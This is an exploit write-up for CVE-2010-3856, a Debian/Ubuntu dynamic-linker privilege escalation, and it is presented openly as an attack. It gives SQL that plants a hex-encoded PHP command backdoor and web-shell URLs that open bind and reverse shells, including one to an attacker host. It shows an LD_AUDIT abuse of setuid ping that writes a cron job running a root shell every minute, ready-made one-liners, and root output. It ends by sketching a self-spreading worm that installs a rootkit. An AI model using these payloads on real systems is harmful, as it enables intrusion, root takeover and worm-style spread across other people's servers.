Debian < 5.0.6 / Ubuntu < 10.04 - Webshell Remote Root Exploit

# Exploit Title:	Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root
# Date: 		24-10-2010
# Author: 		jmit
# Mail: 		fhausberger[at]gmail[dot]com 
# Tested on: 		Debian 5.0.6
# CVE:			CVE-2010-3856

--------------
| DISCLAIMER |
--------------

# IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.

--------- 
| ABOUT |
---------

Debian/Ubuntu remote root exploitation example (GNU dynamic linker DSO vuln).
See (http://www.exploit-db.com/exploits/15304/). Should work on other linux
distros too.

--------------
| BACKGROUND |
--------------

Typically it isn't possible to use a suidshell or modify /etc/passwd directly after
webshell access (user nobody) to gain root access. But with the DSO vuln we can
launch commands as root and we can create a socket and connect to the user or setup
a bindshell.

----------- 
| EXPLOIT |
-----------

After you have found a SQL-Injection vuln you can create a php backdoor. This is typically
possible with select into dumpfile/outfile statement. The values are a simple
<? passthru($_GET['c']); ?> backdoor.

---
DROP TABLE IF EXISTS `fm`;
CREATE TABLE `fm` (
`fm` longblob
) TYPE=MyISAM;
insert into fm (fm) values (0x3c3f20706173737468727528245f4745545b2763275d293b203f3e);
select fm from fm into dumpfile '/opt/lampp/htdocs/xampp_backup.php';
drop table fm;
flush logs;
---

Now you can connect to the server and create a connection with telnet, nc, write
binary with perl -e ' print "\x41\x42\x43\x44"', echo -en '\x41\x42\x43\x44', ...
If direct shell access isn't possible you can use phpcode to create your own
binary with php fwrite:

---
<?php $File = "/tmp/nc";
$Handle = fopen($File, 'w');
$Data = "\x41\x42\x43\x44";
fwrite($Handle, $Data);
fclose($Handle); ?>
---

Now use 

Bind-Shell:	http://victimip/xampp_backup.php?c=nc -l -p 9999 -e /bin/bash
Reverse-Shell:	http://victimip/xampp_backup.php?c=/bin/nc attackerip 9999 | /bin/bash

in your webbrowser and connect to your shell

$ nc victimip 9999
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

---

Now lets exploit the DSO vuln. You need umask 0 for correct
rw-rw-rw creation of exploit /etc/cron.d/exploit

$ umask 0

This is the shellscript for the cron.d entry.

Bind-Shell:	$ echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh
Reverse-Shell:	$ echo -e '/bin/nc localhost 8888 | /bin/bash' > /tmp/exploit.sh

Now make your shellscript executable for cron:

$ chmod u+x /tmp/exploit.sh

Create rw-rw-rw file in cron directory using the setuid ping program:

$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

Launch every minute a suid root shell

$ echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

Now you have a root shell every minute.

$ nc attackerip 79
id
uid=0(root) gid=0(root) groups=0(root)

-------------------
| EXPLOIT oneline |
-------------------

echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

$ nc attackerip 79
id
uid=0(root) gid=0(root) groups=0(root)

------------------------------
| EXPLOIT from webshell only |
------------------------------

http://victimip/xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh
http://victimip/xampp_backup.php?c=/bin/chmod 0744 /tmp/exploit.sh
http://victimip/xampp_backup.php?c=umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
http://victimip/xampp_backup.php?c=echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

$ nc attackerip 79
id
uid=0(root) gid=0(root) groups=0(root)

---------------------------------
| EXPLOIT from webshell oneline |
---------------------------------

http://victimip/xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

$ nc attackerip 79
id
uid=0(root) gid=0(root) groups=0(root)

---------
| IDEAS |
---------

Looks like a wormable bug. The urlobfuscated (IDS/IPS) worm search for SQLI/BSQLI bugs or remote code execution bugs.
Then the worm injects the evil url and do the same for other ips. It installs a rootkit-bot and the game is over.